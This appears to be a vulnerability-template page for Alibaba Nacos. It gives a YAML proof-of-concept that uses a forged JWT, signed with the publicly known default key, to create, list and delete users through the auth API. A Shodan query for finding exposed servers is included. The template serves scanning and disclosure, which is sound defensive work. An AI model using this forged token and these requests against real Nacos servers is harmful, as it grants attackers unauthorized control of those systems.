nacos-create-user: Alibaba Nacos - Unauthorized Account Creation

2025-08-01 Alibaba Nacos PoC Public

Description

Nacos uses a fixed JWT token key to authenticate users in the default configuration. Since Nacos is an open source project, the key is publicly known, so unauthorized attackers can use this fixed key to forge any user identity Log in to Nacos to manage and operate background interface functions.

PoC

id: nacos-create-user

info:
  name: Alibaba Nacos - Unauthorized Account Creation
  author: SleepingBag945
  severity: high
  description: |
    Nacos uses a fixed JWT token key to authenticate users in the default configuration. Since Nacos is an open source project, the key is publicly known, so unauthorized attackers can use this fixed key to forge any user identity Log in to Nacos to manage and operate background interface functions.
  reference:
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/nacos-token-create-user.yaml
  classification:
    cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: alibaba
    product: nacos
    shodan-query: title:"Nacos"
  tags: misconfig,nacos,unauth,bypass,instrusive,vuln

variables:
  token: "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g"

http:
  - raw:
      - |
        POST /nacos/v1/auth/users/?username={{randstr_1}}&password={{randstr_2}}&accessToken={{token}} HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur&accessToken={{token}} HTTP/1.1
        Host: {{Hostname}}

      - |
        DELETE /nacos/v1/auth/users/?username={{randstr_1}}&accessToken={{token}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && contains(body_1,'create user ok!')"
          - "status_code_3 == 200 && contains(body_3,'delete user ok!')"
        condition: and
# digest: 490a0046304402200d93a085de37a3a9c689c412393d1931e0aef0786279765ba63133e33bb838e202201d1a0ec3b1a51f2317b6732c752a7469e948177f0574839bdf58ad695176dc10:922c64590222798bb761d5b6d8e72950

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References

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